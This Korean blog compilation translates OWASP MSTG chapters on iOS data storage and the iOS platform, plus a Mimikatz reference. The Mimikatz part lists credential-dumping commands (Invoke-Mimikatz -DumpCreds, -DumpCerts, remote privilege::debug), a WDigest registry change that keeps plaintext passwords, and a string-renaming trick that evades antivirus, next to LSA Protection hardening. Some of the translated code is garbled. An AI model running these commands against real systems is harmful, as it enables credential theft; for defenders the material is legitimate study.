https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06d-Testing-Data-Storage.md

Data Storage on iOS

인증 토큰이나 개인 정보와 같은 중요한 데이터의 보호는 모바일 보안의 주요 초점입니다. 이 장에서는 iOS가 로컬 데이터 저장을 위해 제공하는 API를 사용하는 모범사례에 대해 배우게됩니다.


Testing Local Data Storage

가능한 한 민감한 데이터는 영구적 인 로컬 저장소에 저장해야합니다. 그러나 가장 실용적인 시나리오에서는 적어도 일부 유형의 사용자 관련 데이터를 저장해야합니다. 다행히도 iOS는 개발자들이 모든 iOS기기에서 사용할 수 있는 암호화 하드웨어를 사용할 수 있게 해 주는 보안 스토리지 API를 제공합니다.이러한 API가 올바르게 사용된다고 가정하면, 하드웨어 지원 256비트 AES암호화를 사용하여 주요 데이터 및 파일을 보호할 수 있습니다.

Data Protection API

앱 개발자는 iOS Data Protection API를 활용하여 플래시 메모리에 저장된 사용자 데이터에 대한 세부적인 액세스 제어를 구현할 수 있습니다. 이 API는 iPhone 5S에서 소개 된 SEP (Secure Enclave Processor) 위에 구축되었습니다. SEP는 데이터 보호 및 키 관리를위한 암호화 작업을 제공하는 보조 프로세서입니다. 디바이스 고유의 하드웨어 키 - 디바이스 UID (Unique ID) - 는 보안 영역에 내장되어 운영 체제 커널이 손상 되더라도 데이터 보호의 무결성을 보장합니다.

데이터 보호 아키텍처는 키 계층을 기반으로합니다. PBKDF2 알고리즘을 사용하여 사용자의 passpharse 로부터 파생 된 UID와 사용자 암호 코드 키는이 계층의 맨 위에 위치합니다. 이 키를 함계 사용하여 서로 다른 장치 상태 (예 : 장치 잠금 / 잠금 해제)와 관련된 클래스 키를 "잠금 해제"하는 데 사용할 수 있습니다.

iOS 파일 시스템에 저장된 모든 파일은 파일 메타 데이터에 포함 된 개별 개별 파일 키로 암호화됩니다. 메타 데이터는 파일 시스템 키로 암호화되고 파일을 만들 때 앱이 선택한 보호 클래스에 따라 클래스 키 중 하나로 래핑됩니다.

* [iOS 데이터 보호 키 계층 구조] (https://www.apple.com/business/docs/iOS_Security_Guide.pdf "iOS 보안 가이드") *

파일은 4 가지 보호 클래스 중 하나에 할당 할 수 있습니다. 자세한 내용은 iOS 보안 가이드 참고 :

  • Complete Protection (NSFileProtectionComplete) : 사용자 패스코드 및 디바이스 UID에서 파생된 키가 이 클래스 키를 보호하는 데 사용됩니다. 장치가 잠긴 직후에 메모리에서 지워지므로 사용자가 장치 잠금을 해제할 때까지 데이터에 액세스 할 수 없게 됩니다.

  • Protected Unless Open (NSFileProtectionCompleteUnlessOpen) : Complete Protection과 유사하지만 잠금 해제시 파일을 열면 사용자가 장치를 잠그더라도 파일에 계속 액세스 할 수 있습니다. 이 보호 클래스는 예를 들어 메일 첨부 파일이 백그라운드에서 다운로드 될 때 사용됩니다.

  • Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication) : 부팅 후 사용자가 처음 장치를 잠금 해제 한 순간부터 파일에 액세스 할 수 있습니다. 나중에 사용자가 장치를 잠그고 클래스 키가 메모리에서 제거 되더라도 액세스 할 수 있습니다.

  • No Protection (NSFileProtectionNone) : 이 보호 클래스의 클래스 키는 UID로만 보호됩니다. 소량의 데이터를 저장할 수있는 iOS 장치의 플래시 메모리 영역 인 소위 말하는 "Effaceable Storage"에 저장됩니다. 이 보호 클래스는 fast remote wipe를 가능하게합니다. 즉, 클래스 키를 즉시 삭제하여 데이터에 액세스 할 수 없도록 합니다.

NSFileProtectionNone을 제외한 모든 클래스 키는 장치 UID 및 사용자의 암호에서 파생 된 키로 암호화됩니다. 결과적으로 암호 해독은 장치 자체에서만 발생하며 올바른 암호를 입력해야 합니다.

iOS 7부터 기본 데이터 보호 클래스는 "Protected Until First User Authentication"입니다.

The Keychain

iOS 키체인은 암호화 키 및 세션 토큰과 같은 중요하고 짧은 데이터 비트를 안전하게 저장하는 데 사용할 수 있습니다. 이 데이터베이스는 키 체인 API를 통해서만 액세스 할 수 있는 SQLite데이터베이스로 구현됩니다. 

MacOS에서는 모든 사용자 애플리케이션이 원하는 만큼의 키체인을 생성할 수 있으며 모든 로그인 계정에 자체 키체인이 있습니다. 항목에 대한 액세스는 kSecAttrAccessGroup 속성의 액세스 그룹 기능을 사용하여 동일한 개발자가 서명한 애플리케이션간에 공유할 수 있습니다.

키 체인에 대한 액세스는 애플리케이션의 Keychain-access-groups , application-identifier 및 application-group 자격에 따라 액세스 권한을 부여하는 securityd 데몬에 의해 관리됩니다.

KeyChain API는 다음과 같은 주요 작업으로 구성되어 있습니다.

  • SecItemAdd
  • SecItemUpdate
  • SecItemCopyMatching
  • SecItemDelete

키 체인에 저장된 데이터는 파일 암호화에 사용되는 것과 유사한 클래스 구조를 통해 보호됩니다. 키 체인에 추가 된 항목은 바이너리 plist로 인코딩되며 Galois / Counter Mode (GCM)에서 항목 당 128 비트 AES 키를 사용하여 암호화됩니다.

데이터의 blob이 클수록 키 체인에 직접 저장되는 것은 아니라는 점에 유의하십시오. 바로 이것이 데이터 보호 API의 용도입니다.

.... to do.....


Static Analysis

iOS앱의 소스 코드에 액세스 할 수 있을 때 앱 전체에 저장되고 처리되는 중요한 데이터를 찾으려고 시도합니다. 여기에는 일반적인 비밀 번호, 비밀 키 및 개인 식별 정보(PII)가 포함되지만, 업계 규정, 법률 또는 회사 정책을 통해 중요한 것으로 식별되는 기타 데이터도 포함될 수 있습니다.

아래 나열된 로컬 스토리지 API 중 하나를 사용하여이 데이터가 저장된 인스턴스를 찾습니다. 중요한 데이터가 적절한 보호없이 저장되지 않도록하십시오. 예를 들어 인증 토큰을 추가 암호화없이 NSUserDefaults에 저장하면 안됩니다.

어떤 경우 든 보안 설정을 사용하여 키 체인에 비밀 키가 저장되도록 암호화가 구현되어야합니다 (이상적으로 kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly). 이렇게 하면 하드웨어 기반 저장 장치 메커니즘을 사용할 수 있습니다. 또한 AccessControlFlags가 키 체인의 지정된 키에 대한 보안 정책에 따라 적절하게 설정되어 있는지 확인하십시오.

KeyChain을 사용하여 데이터를 저장, 업데이트 또는 삭제하는 일반적인 예는 공식 Apple 설명서에서 찾을 수 있습니다.

TouchID 및 패스 코드로 보호 된 키를 사용하는 샘플은 공식 Apple 설명서에서 찾을 수 있습니다.

Swift에서 키를 만드는 데 사용할 수있는 샘플이 있습니다.

 // private key parameters
    let privateKeyParams: [String: AnyObject] = [
        kSecAttrLabel as String"privateLabel",
        kSecAttrIsPermanent as Stringtrue,
        kSecAttrApplicationTag as String"applicationTag"
    ]        
    // public key parameters
    let publicKeyParams: [String: AnyObject] = [
        kSecAttrLabel as String"publicLabel",
        kSecAttrIsPermanent as Stringfalse,
        kSecAttrApplicationTag as String"applicationTag"
    ]
 
    // global parameters
    let parameters: [String: AnyObject] = [
        kSecAttrKeyType as String: kSecAttrKeyTypeEC,
        kSecAttrKeySizeInBits as String256,
        kSecAttrTokenID as String: kSecAttrTokenIDSecureEnclave,
        kSecPublicKeyAttrs as String: publicKeyParams,
        kSecPrivateKeyAttrs as String: privateKeyParams
    ]        
 
    var pubKey, privKey: SecKeyRef?
    let status = SecKeyGeneratePair(parameters, &pubKey, &privKey)


NSUserDefaults

NSUserDefaults 클래스는 기본 시스템과 상호 작용할 수있는 프로그래밍 방식의 인터페이스를 제공합니다. 기본 시스템에서는 애플리케이션의 동작을 사용자의 기본 설정에 맞게 커스터마이징할 수 있습니다. NSUserDefaults에서 저장한 데이터는 애플리케이션 번들에서 볼 수 있습니다. 또한 plist 파일에 데이터를 저장하지만 데이터 양이 적은 경우에 적합합니다.

File system

  • NSData : NSData는 정적 데이터 객체를 만들고 NSMutableData는 동적 데이터 객체를 만듭니다. NSData및 NSmutableData는 일반적으로 데이터 저장에 사용되며, 애플리케이션 간에 데이터 개체에 포함된 데이터를 복사하거나 이동할 수 있는 분산 개체 애플리케이션에서도 유용합니다. 다음은 NSData 객체를 작성하는 데 사용되는 메소드입니다.

     NSDataWritingWithoutOverwriting

     NSDataWritingFileProtectionNone

     NSDataWritingFileProtectionComplete

     NSDataWritingFileProtectionCompleteUnlessOpen

     NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication

  • writeToFile : 데이터를 NSData 클래스의 일부로 저장합니다.
  • NSSearchPathForDirectoriesInDomainsNSTemporaryDirectory : 파일 경로를 관리하는 데 사용됩니다.
  • NSFileManager 객체를 사용하면 파일 시스템의 내용을 검사하고 변경 내용을 적용 할 수 있습니다. 파일을 만들고 파일에 쓰는 방법은 createFileAtPath를 통해 수행 할 수 있습니다.

다음 예제에서는 createFileAtPath 메서드를 사용하여 안전하게 암호화 된 파일을 만드는 방법을 보여줍니다.

[[NSFileManager defaultManager] createFileAtPath:[self filePath]
  contents:[@"secret text" dataUsingEncoding:NSUTF8StringEncoding]
  attributes:[NSDictionary dictionaryWithObject:NSFileProtectionComplete
  forKey:NSFileProtectionKey]];


Core Data

Core Data는 응용 프로그램에서 개체의 모델 계층을 관리하는데 사용하는 프레임워크입니다. persistence을 포함하여 객체 생명주기 및 객체 그래프 관리와 관련된 일반 작업에 일반화되고 자동화 된 솔루션을 제공합니다. Core Data는 영구 저장소로 SQLite를 사용할 수 있지만 프레임 워크 자체는 데이터베이스가 아닙니다.

SQLite Databases

SQLite 3 라이브러리는 SQLite를 사용하기 위해 앱에 추가되어야합니다. 이 라이브러리는 SQLite 명령에 API를 제공하는 C ++ 래퍼입니다.

Realm databases

Realm Objective-CRealm Swift는 Apple에 의해 제공되지는 않지만 여기서도 주목할 가치가 있습니다. 구성에 암호화가 설정되어 있지 않으면 암호화되지 않은 모든 항목이 저장됩니다.

// Open the encrypted Realm file where getKey() is a method to obtain a key from the keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
  let realm = try Realm(configuration: config)
  // Use the Realm as normal
catch let error as NSError {
  // If the encryption key is wrong, `error` will say that it's an invalid database
  fatalError("Error opening realm: \(error)")
}















'Hacking > iOS Hacking' 카테고리의 다른 글

iOS# Reverse-Engineering-and-Tampering  (0) 2018.02.01
iOS# Platform-Overview  (0) 2018.01.08

http://okjsp.tistory.com/1165643261


https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06a-Platform-Overview.md

iOS Platform Overview

iOS는 iPhone, iPad 및 iPod Touch를 포함한 Apple 모바일 장치에 사용되는 모바일 운영 체제입니다. 또한 iOS의 많은 기능을 상속하는 Apple tvOS의 기반이기도합니다.

Apple 데스크톱 운영 체제 macOS (이전 OS X)와 마찬가지로 iOS는 Apple에서 개발한 오픈 소스 Unix 운영 체제인 Darwin을 기반으로합니다. 다윈의 커널은 Mach와 FreeBSD 커널의 구성 요소를 결합한 하이브리드 커널인 XNU ( "X is Not Unix")입니다.

하지만 iOS앱은 데스크탑 앱보다 제한된 환경에서 실행됩니다. iOS앱은 파일 시스템 수준에서 서로 분리되어 있으며, 시스템 API액세스 측면에서 상당히 제한적입니다.

악의적인 애플리케이션으로부터 사용자를 보호하기 위해 Apple은 iOS기기에서 실행할 수 있는 앱에 대한 액세스를 제한하고 제어합니다. AppleAppStore는 유일한 공식 애플리케이션 배포 플랫폼입니다. 그곳에서 개발자들은 그들의 앱을 제공할 수 있고 소비자들은 앱을 구매, 다운로드, 설치할 수 있습니다.이러한 배포 스타일은 여러 앱 스토어 및 sideloading(공식 App Store를 사용하지 않고 iOS 기기에 앱을 설치)를 지원하는 Android와 다릅니다.

과거에는 탈옥 또는 복잡한 해결 방안을 통해서만 사이드로딩(sideloading)을 할 수 있었습니다. iOS 9이상을 사용하는 경우 Xcode를 사이드 로드할 수 있습니다.

iOS앱은 Apple샌드 박스(과거에는 seated belt라고 함)의 필수 액세스 제어(MAC)메커니즘을 통해 서로 격리됩니다. Android의 다양한 바인더 IPC시설과 비교하면, iOS는 IPC옵션을 거의 사용하지 않으며, 공격 위험을 최소화합니다.

균일한 하드웨어 및 하드웨어/소프트웨어 통합은 또 다른 보안 이점을 제공합니다. 모든 iOS 장치는 시큐어 부트(secure boot), 하드웨어 지원 키 체인(hardware-backed keyhain) 및 파일 시스템 암호화(file system encryption)와 같은 보안 기능을 제공합니다. iOS 업데이트는 많은 사용자에게 신속하게 배포되기 때문에 보호되지 않은 이전 iOS 버전을 지원할 필요가 줄어듭니다.

하지만 이런 iOS의 수많은 장점에도 불구하고 iOS 앱 개발자는 여전히 보안에 대해 걱정할 필요가 있습니다. 다음 장에서는 iOS 보안 아키텍처에 대해 설명하고 기본 보안 테스트 방법을 설명하며 리버스 엔지니어링 방법을 제공합니다.


iOS Security Architecture

iOS보안 아키텍처는 다음과 같은 6가지 핵심 기능으로 구성되어 있습니다.

  • Hardware Security
  • Secure Boot
  • Code Signing
  • Sandbox
  • Encryption and Data Protection
  • General Exploit Mitigations

Hardware Security

iOS 보안 아키텍처는 전반적인 성능을 향상시키는 하드웨어 기반 보안 기능을 잘 활용합니다. 각 iOS 장치에는 제조 과정에서 응용 프로그램 프로세서와 보안 인클로저로 융합되고 컴파일되는 2 개의 내장 AES (Advanced Encryption Standard) 256 비트 키 (GID 및 UID)가 함께 제공됩니다. 소프트웨어 나 JTAG 같은 디버깅 인터페이스로 이러한 키를 읽는 직접적인 방법은 없습니다. 암호화 및 암호 해독 작업은 이러한 키에 독점적으로 액세스할 수있는 하드웨어 AES 암호 엔진에 의해 수행됩니다.


--------------------------------- to do ---------------------------------


Software Development on iOS

다른 플랫폼과 마찬가지로 Apple은 개발자가 네이티브 iOS앱을 개발, 설치, 실행 및 테스트하는 데 도움이 되는 SDK(SoftwareDevelopmentKit)를 제공합니다. Xcode는 Apple개발을 위한 통합 개발 환경(IDE)입니다. iOS 애플리케이션은 Objective-C 또는 Swift를 이용하여 개발합니다.

Objective-C는 Smalltalk 스타일의 메시징을 C 프로그래밍 언어에 추가하는 객체 지향 프로그래밍 언어입니다. 이 기능은 macOS에서 데스크탑 애플리케이션을 개발하고 iOS에서 모바일 애플리케이션을 개발하는 데 사용됩니다. Swift는 Objective-C의 후계자이며 Objective-C와의 상호 운용성을 지원합니다.

Swift는 2014 년 Xcode 6에서 소개되었습니다.

non-jailbroken 장치에서 App Store없이 응용 프로그램을 설치하는 두 가지 방법이 있습니다.

  1. 엔터프라이즈 모바일 장치 관리(Enterprise Mobile Device Management)를 사용합니다. 이를 위해서는 Apple이 서명한 회사 전체 인증서가 필요합니다.
  2. 사이드 로딩(sideloading)을 사용합니다. 개발자의 인증서로 앱에 서명하고 Xcode를 통해 기기에 설치합니다. 동일한 인증서로 제한된 수의 디바이스에 설치할 수 있습니다.


Apps on iOS

iOS앱은 IPA(iOSAppStorePackage)아카이브로 배포됩니다. IPA파일은 ZIP 압축 아카이브이며, 앱을 실행하는 데 필요한 모든 코드 및 리소스를 포함합니다.

IPA파일은 내장 디렉토리 구조를 포함합니다. 아래의 예를 통해 이 구조를 파악해봅시다.

  • /Payload/ 폴더는 모든 응용 프로그램 데이터를 포함합니다. 이 폴더의 내용으로 다시 돌아가겠습니다.
  • /Payload/Application.app 응용 프로그램 데이터 자체 (ARM 컴파일 코드) 및 관련된 정적 리소스가 포함되어 있습니다.
  • /iTunesArtwork 512x512 픽셀 PNG 이미지, 응용 프로그램의 아이콘으로 사용됩니다.
  • /iTunesMetadata.plist 개발자의 이름 및 ID, 번들 ID, 저작권 정보, 장르, 앱 이름, 릴리즈 날짜, 구매 날짜 등을 포함한 다양한 정보가 포함되어 있습니다.
  • /WatchKitSupport/WK 확장 번들의 예입니다. 이 특정 번들에는 인터페이스를 관리하고 Apple watch에서 사용자 상호 작용에 응답하기 위한 확장 프로그램 대리인과 컨트롤러가 포함되어 있습니다.

IPA Payloads - A Closer Look

IPA 컨테이너의 여러 파일을 자세히 살펴 보겠습니다. Apple은 디스크 공간을 절약하고 파일 액세스를 단순화하기 위해 비교적 평평한 구조를 사용합니다. 최상위 번들 디렉토리에는 애플리케이션의 실행 파일과 애플리케이션에서 사용하는 모든 리소스(예:애플리케이션 아이콘, 다른 이미지 및 지역화된 컨텐츠)가 포함됩니다.

  • MyApp : 컴파일 된 응용 프로그램 소스 코드가 들어있는 실행 파일입니다.
  • Application : 어플리케이션 아이콘들
  • info.plist : 번들 ID, 버전 번호 및 애플리케이션 표시 이름과 같은 구성 정보입니다.
  • Launch images : 특정 방향에서 초기 애플리케이션 인터페이스를 보여주는 이미지. 시스템은 애플리케이션이 완전히 로드될 때까지 제공된 시작 이미지 중 하나를 임시 배경으로 사용합니다.
  • MainWindow.nib : 애플리케이션을 시작할 때 로드되는 기본 인터페이스 개체입니다. 그러면 다른 인터페이스 개체가 다른 nib파일에서 로드되거나 애플리케이션에 의해 프로그래밍 방식으로 생성됩니다.
  • Settings.bundle : 애플리케이션 관련 기본 설정은 Settings(설정)앱에서 표시됩니다.
  • Custom resource files : 지역화되지 않은 리소스는 최상위 디렉터리에 배치되고 지역화 된 리소스는 애플리케이션 번들의 언어 별 하위 디렉터리에 배치됩니다. 리소스에는 Nib파일, 이미지, 사운드 파일, 구성 파일, 문자열 파일 및 애플리케이션에서 사용하는 기타 모든 사용자 지정 데이터 파일이 포함됩니다.

애플리케이션이 지원하는 각 언어에 대한 language.lproj폴더가 있습니다. 스토리 보드와 문자열 파일이 들어 있습니다.

  • 스토리 보드는 iOS애플리케이션의 사용자 인터페이스를 시각적으로 표현한 것입니다. 화면과 이러한 화면 사이의 연결을 보여 줍니다.
  • 문자열 파일 형식은 하나 이상의 Key-Value 쌍과 선택적 주석으로 구성됩니다.

App Structrue on the iOS File System

iOS 8 부터 기기에 애플리케이션을 저장하는 방법이 변경되었습니다.  이전에는 응용 프로그램이 /var/mobile/applications/ 디렉토리의 폴더에 압축 해제되었습니다. 애플리케이션은 128비트 숫자인 UUID(Universal Unique Identifier)로 식별됩니다. 이 번호는 애플리케이션 자체가 저장된 폴더의 이름입니다. 정적 번들 및 애플리케이션 데이터 폴더가 이제 다른 곳에 저장됩니다. 이러한 폴더에는 애플리케이션 보안 평가 중에 면밀히 검사해야 하는 정보가 들어 있습니다.

  • /var/mobile/Containers/Bundle/Application/[UUID]/Application.app 에는 앞서 언급 한 application.app 데이터를 포함하며 애플리케이션의 ARM 컴파일 바이너리뿐만 아니라 정적 내용도 저장합니다. 이 폴더의 내용은 코드 서명의 유효성을 검사하는 데 사용됩니다.
  • /var/mobile/Containers/Data/Application/[UUID]/Documents 에는 사용자가 생성한 모든 데이터를 담고 있습니다. 애플리케이션 최종 사용자가 이 데이터 생성을 시작합니다.
  • /var/mobile/Containers/Data/Application/[UUID]/Library 에는 캐시, 환경 설정, 쿠키 및 속성 목록 (plist) 구성 파일과 같이 사용자 별이 아닌 모든 파일이 들어 있습니다.
  • /var/mobile/Containers/Data/Application/[UUID]/tmp 에는 애플리케이션 실행 사이에 필요하지 않은 임시 파일이 포함되어 있습니다.

다음 그림은 응용 프로그램 폴더 구조를 나타냅니다.

The Installation Process

iOS기기에 IPA패키지를 설치하는 데는 다른 방법이 있습니다. 가장 쉬운 방법은 Apple의 기본 미디어 플레이어인 iTunes입니다.  MacOS 및 Windows에서 iTunes를 사용할 수 있습니다. 아이튠즈를 통해 사용자는 앱 스토어에서 애플리케이션을 다운로드 받아 iOS기기에 설치할 수 있습니다. 또한 iTunes를 사용하여 IPA파일을 기기에 설치할 수도 있습니다.

Linux에서는 iOS 장치와의 기본 통신을위한 플랫폼 간 소프트웨어 프로토콜 라이브러리이자 도구 모음인 libimobiledevice를 사용할 수 있습니다. ideviceinstaller를 통해 USB 연결을 통해 패키지를 설치할 수 있습니다. 연결은 USB 멀티플렉싱 데몬 usbmuxd로 구현되며 USB를 통한 TCP 터널을 제공합니다.

iOS 기기에서 실제 설치 프로세스는 애플리케이션의 압축을 풀고 설치하는 install 데몬에 의해 처리됩니다.앱 서비스를 통합하거나 iOS기기에 설치하려면 Apple에서 발급한 인증서로 모든 애플리케이션에 서명해야 합니다. 이는 코드 서명 검증이 성공한 경우에만 애플리케이션을 설치할 수 있음을 의미합니다. 그러나, 탈옥된 전화기에서는 Cydia스토어에서 이용할 수 있는 패키지인 AppSync를 사용하여 이 보안 기능을 우회할 수 있습니다. 

Cydia는 대안 앱 스토어입니다. 여기에는 고급 기능을 실행하기 위해 탈옥에서 제공하는 루트 권한을 활용하는 수많은 유용한 애플리케이션이 포함되어 있습니다. AppSync는 가짜 서명 IPA 패키지의 설치를 허용하는 installd 패치의 개조입니다.

IPA는 또한 ipainstaller를 사용하여 커맨드 라인에 직접 설치할 수도 있습니다. scp(secure copy)등을 사용하여 IPA를 기기에 복사한 후, IPA의 파일 이름을 사용하여 ipainstaller를 실행할 수 있습니다.
$ ipainstaller App_name.ipa

App Permissions

Android 앱과 달리 iOS 앱에는 사전 할당 된 권한이 없습니다. 대신, 앱이 중요한 API를 처음 사용하려고 시도할 때 런타임에 권한을 부여하라는 메시지가 표시됩니다. 권한이 부여된 앱은 설정>개인 정보 메뉴에 나열되므로 사용자가 앱 관련 설정을 수정할 수 있습니다.

iOS개발자가 직접 요청한 사용 권한을 설정할 수 없습니다. 이들은 중요한 API를 사용하여 간접적으로 요청합니다. 예를 들어 사용자의 연락처에 액세스 할 때 CNContactStore에 대한 모든 호출은 사용자에게 액세스 권한을 부여하거나 거부하라는 메시지가 표시되는 동안 앱을 차단합니다.

다음 API는 사용자 권한이 필요합니다.(https://www.apple.com/business/docs/iOS_Security_Guide.pdf)

  • Contacts
  • Microphone
  • Calendars
  • Camera
  • Reminders
  • HomeKit
  • Photos
  • Health
  • Motion activity and fintess
  • Speech recognition
  • Location Services
  • Bluetooth sharing
  • Media Library
  • Socical media accounts



'Hacking > iOS Hacking' 카테고리의 다른 글

iOS# Reverse-Engineering-and-Tampering  (0) 2018.02.01
iOS# Data Storge on iOS  (0) 2018.01.15


https://adsecurity.org/?page_id=1821


Introduction:

울타리의 양쪽에있는 많은 사람들처럼, Red & Blue는 Mimikatz의 기능 대부분을 잘 모를 것입니다. 그래서 이 정보를 찾을 수있는 모든 명령에 대한 정보를 모았습니다. 가장 유용한 명령에 대한 추가 내용으로 가능한 한 업데이트 할 계획입니다. 이렇게하면 Red & Blue 팀 모두가 전체 기능을 더 잘 이해할 수 있으며 보호를 위해 고용된 기업을 보다 안전하게  보안 할 수 있습니다.


Mimikatz&Credentials:

사용자가 로그온하면 다양한 자격 증명이 생성되어 LSASS (Local Security Authority Subsystem Service) 메모리에 저장됩니다. 자격 증명 데이터에는 Kerberos 티켓, NTLM 암호 해시, LM 암호 해시 (Windows OS 버전 및 패치 수준에 따라 암호가 15 자 미만인 경우) 및 일반 텍스트 암호 (다른 사람들과의 WDigest 및 SSP 인증을 지원하기위한 것)가 포함될 수 있습니다.

Windows 컴퓨터가 로컬 컴퓨터 SAM 데이터베이스 (및 AD 데이터베이스)에서 LM 해시를 만들지 못하게 할 수는 있지만 시스템에서 메모리에 LM 해시가 생성되는것을 막을수는 없습니다. 기본적으로 Windows Server 2008 및 Windows Vista에서는 명시적으로 설정하지 않는 한 사용자에 대해 LM 해시가 생성되지 않습니다. Windows 8.1 및 Windows Server 2012 R2부터는 LM 해시 및 "일반 텍스트"암호가 더이상 메모리에 저장되지 않습니다.

이 기능은 이전 버전의 Windows (Windows 7 / 8 / 2008R2 / 2012)에서 kb2871997로 "back-ported"되었지만 "일반 텍스트"암호가 LSASS에 저장되는 것을 방지하려면 다음 레지스트리 키를 "0"(Digest 비활성화)으로 설정합니다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)


이 레지스트리 키는 사용자 환경에서 모니터링 할 가치가 있습니다. Windows 7 / 2008R2에서 Windows10 / 2012R2까지 모든 버전의 Windows에서 "일반 텍스트"암호를 LSASS에 넣도록 다이제스트 암호 지원을 활성화하려면 공격자가 1로 설정하면됩니다. Windows 8.1 / 2012 R2 이상에는 "UseLogonCredential" DWORD 값이 없으므로 작성해야합니다. 이러한 시스템에이 키가 존재하면 문제가 있음을 나타낼 수 있습니다.

대상 시스템에서 직접 코드를 실행하는 것은 공격자에게는 바람직하지 않으므로 Mimikatz는 원격으로 실행할 수있는 새로운 기능으로 지속적으로 업데이트됩니다. 여기에는 원격 시스템에 대해 Mimikatz를 DCSync나 PowerShell Remoting을 통해 원격으로 Invoke-Mimikatz를 실행하여 자격 증명을 덤프할 수 있습니다. DC에서 Mimikatz 코드를 실행하지 않고 도메인의 모든 Active Directory 계정에 대한 암호 데이터를 원격으로 가져 오는 최신 기능을 포함하고 있습니다.(올바른 권한을 얻으면 Microsoft의 도메인 컨트롤러 공식 복제 API를 사용합니다.)


Available Credentials by OS:

Benjamin Delpy는 OneDrive (더 이상 사용할 수 없지만 아래에 표시됨)에 엑셀 차트를 게시하여 메모리(LSASS)에서 사용할 수 있는 자격 증명 데이터 유형을 보여줍니다. Windows 8.1 및 Windows 2012 R2에는 향상된 보호 메커니즘이있어 메모리에 보관 된 자격 증명의 양과 유형이 줄어 듭니다.


PowerShell & Mimikatz:

Mimikatz 기능의 대부분은 "Invoke-Mimikatz" PowerShell 스크립트 (Joseph Bialek 작성)를 통해 PowerSploit (PowerShell Post_Exploitation Framework)에서 사용할 수 있습니다. Mimikatz 2.0 및 Invoke-ReflectivePEInjection을 활용하여 Mimikatz를 완전히 메모리에 로드 합니다. 이렇게하면 Mimikatz 바이너리를 디스크에 쓰지 않고 자격 증명 덤프와 같은 작업을 수행할 수 있습니다. PowerSploit 프레임 워크는 이제"PowerShellMafia" GitHub 저장소에서 호스팅됩니다.

Invoke-Mimikatz의 "Magic"은 Mimikatz DLL (스크립트에 내장 된)을 메모리에 로드할 수있는 기능입니다. Invoke-Mimikatz 코드는 인터넷 (또는 인트라넷 서버)에서 다운로드 할 수 있으며 touching disk 하지 않고도 메모리에서 실행할 수 있습니다. 또한 Invoke-Mimikatz를 적절한 권한으로 실행하고 대상 컴퓨터에 PowerShell Remoting을 사용하도록 설정하면 원격 시스템에서 파일을 설치하지 않고도 표준 Mimikatz 명령을 원격으로 실행할 수 있을뿐 아니라 다른 시스템에서 자격 증명을 가져올 수 있습니다.

Invoke-Mimikatz는 Mimikatz가 업데이트되면 업데이트되지 않지만 수동으로 업데이트 해야합니다. Will Schroeder (@HarmJ0y)는 Invoke-Mimikatz에서 Mimikatz DLL을 업데이트하는 것에 대한 정보를 제공합니다. (매우 복잡한 프로세스는 아닙니다). Invoke-Mimikatz의 PowerShell Empire 버전은 대개 최신으로 유지됩니다.

  • mimikatz를 사용하여 LSASS에서 자격 증명을 덤프하십시오. : Invoke-Mimikatz -DumpCreds
  • mimikatz를 사용하여 모든 개인 인증서를 내보낼 수 있습니다 (내보낼 수 없음으로 표시된 경우에도 해당). : Invoke-Mimikatz -DumpCerts
  • 원격 컴퓨터에서 디버그 권한을 가질 수있는 권한 상승 : Invoke-Mimikatz -Command "privilege :: debug exit"-ComputerName "computer1"

Invoke-Mimikatz "Command"매개 변수를 사용하면 Invoke-Mimikatz에서 커스텀된 Mimikatz 명령을 실행할 수 있습니다.


Detecting Mimikatz:

네트워크에서 Mimikatz 사용을 잠재적으로 감지하는 방법은 여러 가지가 있지만 보장할순 없다. Mimikatz의 소스 코드는 GitHub에 있기 때문에 Visual Studio를 사용하는 모든 사람이 자신의 버전을 컴파일 할 수 있습니다. "mimikatz"의 모든 인스턴스를 "kitikatz"로 바꾸어서 "kitikatz"라는 자체 버전의 Mimikatz를 만들었으며 이를 VirusTotal에서 검사한 결과 탐지율(4/54)이 좋지 않았습니다. Windows 10 시스템의 Windows Defender에서 이를 감지했습니다. Windows 10 시스템의 Windows Defender에서이를 감지했습니다. 저는 "Benjamin Delpy"와 "gentilkiwi"를 동일한 단어로 바꿨습니다. e를 3으로, i를 1로 대체했습니다. 탐지율(4/54)은 여전히 낮았으며 Windows 10 시스템의 Windows Defender가 이를 탐지하지 못했습니다.

Mimikatz & LSA Protection:

Windows Server 2012 R2 및 Windows 8.1에는 Windows Server 2012 R2에서 LSASS를 보호된 프로세스로 사용할 수있는 LSA Protection이라는 새로운 기능이 포함되어 있습니다. (Mimikatz는 드라이버를 우회 할 수 있지만 이벤트 로그에 약간의 노이즈가 발생 합니다.)

LSASS Local Security Authority Server Service(LSASS) 프로세스가 포함된 LSA는 사용자에게 로컬 및 원격 로그인을 확인하고 로컬 보안 정책을 적용합니다. Windows 8.1 운영 체제는 비보호 프로세스에 의한 메모리 및 코드 삽입 읽기 방지를 위해 LSA에 대한 추가 보호 기능을 제공합니다. 이는 LSA가 저장하고 관리하는 자격 증명에 대한 추가 보안을 제공합니다.

Enabling LSA Protection:

1. 레지스트리 편집기(RegEdit.exe)를 열고 다음 위치에 있는 레지스트리 키로 이동합니다. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \Lsa 및 레지스트리 키 값을 "RunAsPPL"= dword : 00000001로 설정하십시오.

2. 새 GPO를 만들고 컴퓨터 구성, 기본 설정, Windows 설정으로 이동합니다. 레지스트리를 마우스 오른쪽 단추로 누르고 새로 만들기를 가리킨 다음 레지스트리 항목을 누릅니다. 새 레지스트리 속성 대화 상자가 나타납니다. 하이브 목록에서 HKEY_LOCAL_MACHINE을 클릭하십시오. 키 경로 목록에서 SYSTEM \ CurrentControlSet \ Control \ Lsa로 이동하십시오. 값 이름 상자에 RunAsPPL을 입력하십시오. 값 형식 상자에서 REG_DWORD를 클릭하십시오. 값 데이터 상자에 00000001.Click을 입력 한 다음 확인을 클릭합니다.

LSA Protection은 보호되지 않은 프로세스가 LSASS와 상호 작용하는 것을 방지합니다. Mimikatz는 여전히 드라이버 ( "+")로이를 우회 할 수 있습니다.


Detecting Invoke-Mimikatz:

